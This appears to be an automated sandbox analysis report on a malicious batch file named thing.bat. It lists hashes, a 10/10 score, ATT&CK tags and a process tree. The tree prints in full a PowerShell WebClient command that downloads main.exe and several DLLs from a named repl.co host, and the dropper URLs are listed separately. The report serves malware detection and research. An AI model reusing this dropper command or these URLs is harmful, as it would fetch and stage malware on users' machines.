986a516234e173c6bd603c3cc8e432d055820787b430f78e5b14e80af3a8455f

Analysis

max time kernel
377s
max time network
1585s
platform
windows10-1703_x64
resource
win10-20230220-en
resource tags

arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system
submitted
21/04/2023, 11:21

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General

Target

thing.bat
Size

1KB
MD5

5c1c10b103c9e1aa23095df94627318e
SHA1

3020e568a55dbb6a291648173a38039d7d4354cd
SHA256

986a516234e173c6bd603c3cc8e432d055820787b430f78e5b14e80af3a8455f
SHA512

fcfec430c1185d93f8110f16470325b5232039529e830f2f1ddb3a0c6a5a0859ea030f3100f30ff37a04425688397aaf557d6d317016ce49e21e77b9bf47e995

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn-1.thughunter.repl.co/cdn/libcurl-x64.def;https://cdn-1.thughunter.repl.co/cdn/libcurl-x64.dll;https://cdn-1.thughunter.repl.co/cdn/libgcc_s_seh-1.dll;https://cdn-1.thughunter.repl.co/cdn/libsodium-23.dll;https://cdn-1.thughunter.repl.co/cdn/libsodium-24.def;https://cdn-1.thughunter.repl.co/cdn/sqlite3.def;https://cdn-1.thughunter.repl.co/cdn/sqlite3.dll;https://cdn-1.thughunter.repl.co/cdn/main.exe

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	4236	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1940	4236	WerFault.exe	67

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4236	powershell.exe
4236	powershell.exe
4236	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4236	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4100 wrote to memory of 4236	4100	cmd.exe	67
PID 4100 wrote to memory of 4236	4100	cmd.exe	67

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\thing.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://cdn-1.thughunter.repl.co/cdn/libcurl-x64.def;https://cdn-1.thughunter.repl.co/cdn/libcurl-x64.dll;https://cdn-1.thughunter.repl.co/cdn/libgcc_s_seh-1.dll;https://cdn-1.thughunter.repl.co/cdn/libsodium-23.dll;https://cdn-1.thughunter.repl.co/cdn/libsodium-24.def;https://cdn-1.thughunter.repl.co/cdn/sqlite3.def;https://cdn-1.thughunter.repl.co/cdn/sqlite3.dll;https://cdn-1.thughunter.repl.co/cdn/main.exe', 'C:\Users\Admin\AppData\Local\Temp\libcurl-x64.def;libcurl-x64.dll;libgcc_s_seh-1.dll;libsodium-23.dll;libsodium-24.def;sqlite3.def;sqlite3.dll;main.exe')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4236
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 4236 -s 2576
    3⤵
    - Program crash
    PID:1940

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xqdjwd2c.bdx.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/4236-120-0x000002381E3E0000-0x000002381E402000-memory.dmp

Filesize
136KB

Download
memory/4236-124-0x0000023837160000-0x00000238371D6000-memory.dmp

Filesize
472KB

Download
memory/4236-125-0x000002381DFC0000-0x000002381DFD0000-memory.dmp

Filesize
64KB

Download
memory/4236-126-0x000002381DFC0000-0x000002381DFD0000-memory.dmp

Filesize
64KB

Download
memory/4236-142-0x000002381DFC0000-0x000002381DFD0000-memory.dmp

Filesize
64KB

Download
memory/4236-154-0x000002381DFC0000-0x000002381DFD0000-memory.dmp

Filesize
64KB

Download
memory/4236-155-0x000002381DFC0000-0x000002381DFD0000-memory.dmp

Filesize
64KB

Download
memory/4236-156-0x000002381DFC0000-0x000002381DFD0000-memory.dmp

Filesize
64KB

Download